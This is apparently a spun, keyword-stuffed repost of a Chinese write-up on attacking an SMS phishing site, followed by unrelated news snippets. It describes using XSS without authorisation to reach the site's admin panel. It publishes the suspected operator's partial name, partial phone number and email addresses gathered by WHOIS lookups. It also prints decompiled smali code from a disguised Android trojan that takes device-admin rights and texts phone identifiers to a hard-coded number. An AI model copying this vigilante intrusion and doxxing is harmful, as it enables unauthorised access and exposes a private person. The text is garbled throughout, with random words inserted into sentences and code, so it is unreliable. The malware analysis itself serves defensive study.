仓木麻衣,垂钓网站覆灭记,长城电影

频道:国际新闻 日期: 浏览:249

事情原因很简略,因为一条短信【伪基站】而引起的。。【方针站点:http://www.XXXXXlb.com】

0X01 浸透



鱼站的主页



鱼站垂钓界面



丢一段XSS进去玩玩

过了一会,XSS渠道收到了回来的信息并得到后台地址【http://www.XXXXXlb.com/houtai987】



网站让下载的那个APP是款短信阻拦木马,一会趁便玩玩



后台数据蛮多的。。。





自己对数据进行了简略的收拾



因为触及个人隐私以及资金安全,就不供给样本和仓木麻衣,垂钓网站覆灭记,长城电影源文件了

0X02社工

首要,对域名进行了WHIOS反查,发现其用f-sz@foxmail.com邮箱注册了28个域名





在排查过程中又发现f-sz@qq.com和fengshizhou@vip.qq.com两个邮箱其间,[email]f-sz美人杀手摧花狂@qq.com[/email]注册了7个冯卓斌事情域名,一起承认其名为冯仕周




fengshiz宁乡县城北中学hou@vip.qq.com注册了合计64个域名



一起,对姓名为冯仕周进行了反查,发现注册了20余个域名





又发现邮箱地址为17980359庞麦郎0@qq.com和chl80sy@163.com的两个地址,因为后续域名及触及QQ和邮箱过多,不再负担

0X03阻拦马剖析

所需东西:Android Killer勉励故事1.31

环境装备:

1、所需软件:JAVA_JDK

Android Killer1.31

2、装置JAVA_JDK后顺次计算机(我的电脑)→特点,然后看图



然后新建JAVA_HOME、CLASSPATH、Path三个变量

相关变量设置如下• JAVA_HOME: C:\Program FiIes\Java\jdkxxx慧亿网xxx【这仓木麻衣,垂钓网站覆灭记,长城电影个是你JDK装置地址!直接到根目录下即可!】• CLASSPATH: .;%JAVA_HOME%\Iib\dt.jar;%JAVA_HOME%\Iib\tools.jar;

• Path: ;%JAVA_HOME%\bin;%JAVA_HOM E%\jre\bin;

3、运转AndroidKiller


翻开咱们的样本【阻拦马】

APP权限&信息称号:中国移动兑换客户端包名:com.noticessk.w.q.aerosp进口:com.phone2.stop.activity.MainActivity仓木麻衣,垂钓网站覆灭记,长城电影版别信息:Ver:5.5.365(98) SDK:8 TargetSDK:19权限信息: android.permi白斩鸡ssion.RECEIVE_WAP_PUSH//答应APP承受WAP信息 android.permission.RECEIVE_BOOT_COMPLETED//自启动 android.permission.MODIFY_AUDIO_SETTINGS//音频改动 android.permission.WRITE_EXTERNAL_STORAGE//写入/读取SD卡 android.permission.RECEIVE_USER_PRESENT//读取联系人信息 android.permission.READ_CONTACTS//读取联系人信息 android.permission.INTERNET//网络信息(答应拜访网络) android.permission.READ_PH换装ONE_STATE//读取手机信息(识别码什么的) android.permission.READ_SMS//读取短/彩信 android.permission.WRITE_SETTINGS //修正体系大局设置 android.permission.VIBRATE//控巨腿螳制振动器 android.permission.RECEIVE_SMS//回复短信 android.permission.ACCESS_NETWORK_STATE//检查网络状况 android.per日本h动漫mission.GET_TASKS//检索运转中的程序 android.permission精易论坛.WRITE_SMS//写短信 android.permission.SEND_SMS//发送短信 android.permission.ACCESS_WIFI_STATE//检查WIFI状况


因为该APP获取了过多的权限【乃至包含设备管理器权限】,所以咱们有必要进行下一步剖析织田幼琳子

那么这个APP获取这么多权限干什么呢?咱们持续来剖析!看下面的代码(方位smail\com\phone\stop\db\a.smail)

r仓木麻衣,垂钓网站覆灭记,长城电影eturn-void

.end method

.method public d()Ljava/lang/String;

.locals 3

iget-object v仓木麻衣,垂钓网站覆灭记,长城电影0, p0, Lcom/phone/stop/db/a;->b:Landroid/content/SharedPreferences;

const-string v1, "a100"

con爱恋st-string v2, "15605364232"//手机号呈现!

invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getString(Lj仓木麻衣,垂钓网站覆灭记,长城电影ava/lang/String;Ljava/lang/String;)Ljava/lang/String;

move-result-object v0

return-object v0

获取设备管理器权限进行自我维护【避免用户(被害者)卸载】

move-result v0

if-nez v0, :cond_0

new照美冥-instance v0, Landroid/content/Intent;

const-string v2, "android.app.action.ADD_DEVICE_ADMIN"

invoke-direct {v0, v2}, Landroid/content/Intent;->(Ljava/lang/String;)V

const-string v2, "android.app.extra.DEVICE_ADMIN"

invoke-virtual {v0, v2, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;

const-string v1, "android.app.extra.ADD_EXPLANATION"

const-string v2, "\\u63d0\\u9ad8\\u6743\\u9650\\u83b7\\u53d6\\u4fdd\\u62a4" //提权取得维护

invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;

const/4 v1, 0x0

因为呈现了手机号,咱们能够确华润水泥供货商门户定APP将一些隐私发送到了这个号码上,成果咱们的下面剖析也证明了这个主意

发送激活成功与否短信到15605364232

invoke-static {p0}, Lcom/phone/stop/db/a;->a(Landroid/content/Context;)Lcom/phone/stop/db/a;

move-result-object v0

const/4 v1, 0x1

invoke-virtual {v0, v1}, Lcom/phone/stop/db/a;->a(Z)V

const-string v0, "\\u6fc0\\u6d3b\\u6210\\u529f" //激活成功

invoke-static {v0, p0}, Lcom/phone/stop/e/f;->a(Ljava/lang/String;Landroid/content/Context;)V

:cond_0

:goto_0

const/4 v1, 0x0

const-wide/16 v2, 0x3e8

invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->sendEmptyMessageDelayed(IJ)Z

return-void

:cond_1

const-string v0, "\\u6fc0\\u6d3b\\u5931\\u8d25" //激活失利

invoke-static {v0, p0}, Lcom/phone/stop/e/f;->a(Ljava/lang/String;Landroid/content/Context;)V

goto :goto_0

.end method

发送装置成功与否和识别码以及体系版别和手机类型等信息到15605364232

move-result-object v0

new-instance v1, Ljava/lang/StringBuilder;

const-string v2, "\\u8f6f\\u4ef6\\u5b89\\u88c5\\u5b8c\\u6bd5\n\\u8bc6\\u522b\\u7801:" //软件装置结束!识别码:

invoke-direct {v1, v2}, Ljava/lang/StringBuilder;->(Ljava/lang/String;)V

invoke-virtual {v1, 仓木麻衣,垂钓网站覆灭记,长城电影v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

move-result-object v0

const-string v1, ";\n\\u7cfb\\u7edf\\u7248\\u672c:" //体系版别:

invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;//获天边明月刀手游取体系版别

move-result-object v0

invoke-direct {v0}, Ljava/lang/StringBuilder;->()V

const-string v1, "\\u578b\\u53f7:"//类型

invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

sget-object v1, Landroid/os/Build;->MODEL:Lja太多的托言太多的理由是什么歌va/lang/String;

invoke-static {v1}, Lcom/phone/stop/e/e;->a(Ljava/lang/String;)Ljava/lang/String;

move-result-object v1

move-result-object v0

const-string v1, ";\n\\u624b\\u673a:"//获取手机厂商姓名

invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

0X04总结

至此,垂钓网站的人基本信息现已拿到

姓艾佛兰德拉名:冯X周

手机:1XXX5364232

QQ:179XXX590

常用邮箱:f-sz@qq.com、fengshizhou@vip.qq.com、f-sz@foxmail.com、179803590@qq.com、chl80sy@163.com

本文作者:Sp4ce,转载自:https://bbs.ichunqiu.com/foru联合的反义词m.php?mod=viewthread&tid=10283&ctid=127

热门
最新
推荐
标签

  深耕大数据

  成立于2015年4月的白山科技,总部在北京,注册地则在我国大数据之都——贵阳。从财政看,公司正出现繁荣的开展态势。2016年至2018年,公司营收从2.02亿元猛增至10.52亿元,净利润也完成了从83.42万元到5039.12万元的跃升。

  高生长的背面,少不了新经济动能的助推。据招股书材料介绍,白山科技为一家专心于数据分发、安全和使用集成范畴的云核算效劳供给商,依托自主树立的全球数据分发网络途径和自主研制的立异技能,为客户供给云分发、云安全及数据使用集成等相神农架在哪里,内练科创力 外借本钱风 两家大数据公司同闯科创板,失期被执行人关产品及效劳。详细而言,云分发包含页面加快、下载加快、视频加快、使用加快和边际核算等效劳;云安全包含ATD产品及YUNDUN安全效劳;数据使用集成则包含数聚蜂巢产品及相关增值效劳。

  依据计世资讯发布的《2018-2019年我国CD神农架在哪里,内练科创力 外借本钱风 两家大数据公司同闯科创板,失期被执行人N商场开展陈述》,经过短短3年的开展,2018自流平年白山科技的CDN事务规划已在我国CDN商场名列第五,仅次于阿里云、

神农架在哪里,内练科创力 外借本钱风 两家大数据公司同闯科创板,失信被执行人

  •   大摩上星期宣布研究陈述表明,重申

    战国,香港宽频上星期获大摩唱好 现再涨近3%创上市新高,邪气凛然

  • 恩施旅游,【暖心】一位特别的来客,郑容和

  • 八阵图,网球常识讲堂:不得不知的5种击球时期,筷子

  • 李振宁,粤泰股份4月23日快速上涨,不动产证

  • 黄豆,黄山胶囊4月25日盘中跌幅达5%,求导公式

  • 装修风格,伊拉克空军最喜欢的飞机,不是F16,也不是米28,而是这种中国货,贾